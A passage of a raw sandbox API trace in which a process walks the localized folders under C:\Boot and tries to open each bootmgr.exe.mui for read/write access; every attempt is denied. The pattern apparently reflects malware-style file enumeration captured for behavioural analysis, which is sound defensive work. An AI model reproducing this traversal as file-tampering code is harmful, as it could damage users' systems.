[0144.976] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.976] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.976] GetLastError () returned 0x5 [0144.976] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.976] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.977] GetProcessHeap () returned 0x990000 [0144.977] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.977] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0144.977] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0144.977] GetProcessHeap () returned 0x990000 [0144.978] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.978] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.978] GetProcessHeap () returned 0x990000 [0144.978] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.978] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.978] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.978] GetProcessHeap () returned 0x990000 [0144.978] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.978] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.979] GetLastError () returned 0x5 [0144.979] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.979] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.980] GetProcessHeap () returned 0x990000 [0144.980] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.980] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0144.980] GetProcessHeap () returned 0x990000 [0144.980] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.980] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.980] GetProcessHeap () returned 0x990000 [0144.980] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.980] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.981] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.981] GetProcessHeap () returned 0x990000 [0144.981] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.981] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.981] GetLastError () returned 0x5 [0144.981] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.981] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.981] GetProcessHeap () returned 0x990000 [0144.981] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.981] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0144.981] GetProcessHeap () returned 0x990000 [0144.981] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.981] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.982] GetProcessHeap () returned 0x990000 [0144.982] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.982] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.982] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.982] GetProcessHeap () returned 0x990000 [0144.982] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.982] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.983] GetLastError () returned 0x5 [0144.983] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.983] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.983] GetProcessHeap () returned 0x990000 [0144.983] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.983] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0144.983] GetProcessHeap () returned 0x990000 [0144.984] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.984] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.984] GetProcessHeap () returned 0x990000 [0144.984] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.984] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.984] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.984] GetProcessHeap () returned 0x990000 [0144.984] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.984] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.984] GetLastError () returned 0x5 [0144.984] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.984] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.984] GetProcessHeap () returned 0x990000 [0144.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.985] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0144.985] GetProcessHeap () returned 0x990000 [0144.985] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.985] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.985] GetProcessHeap () returned 0x990000 [0144.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.985] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.985] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.985] GetProcessHeap () returned 0x990000 [0144.985] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.985] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.986] GetLastError () returned 0x5 [0144.986] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.986] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.986] GetProcessHeap () returned 0x990000 [0144.986] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.986] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0144.987] GetProcessHeap () returned 0x990000 [0144.987] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.987] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.987] GetProcessHeap () returned 0x990000 [0144.987] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.987] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.987] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.987] GetProcessHeap () returned 0x990000 [0144.987] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.987] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.987] GetLastError () returned 0x5 [0144.987] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.987] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.988] GetProcessHeap () returned 0x990000 [0144.988] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.988] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0144.988] GetProcessHeap () returned 0x990000 [0144.988] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.988] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.988] GetProcessHeap () returned 0x990000 [0144.988] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.988] FindNextFileW (in: hFindFile=0x9b6568, 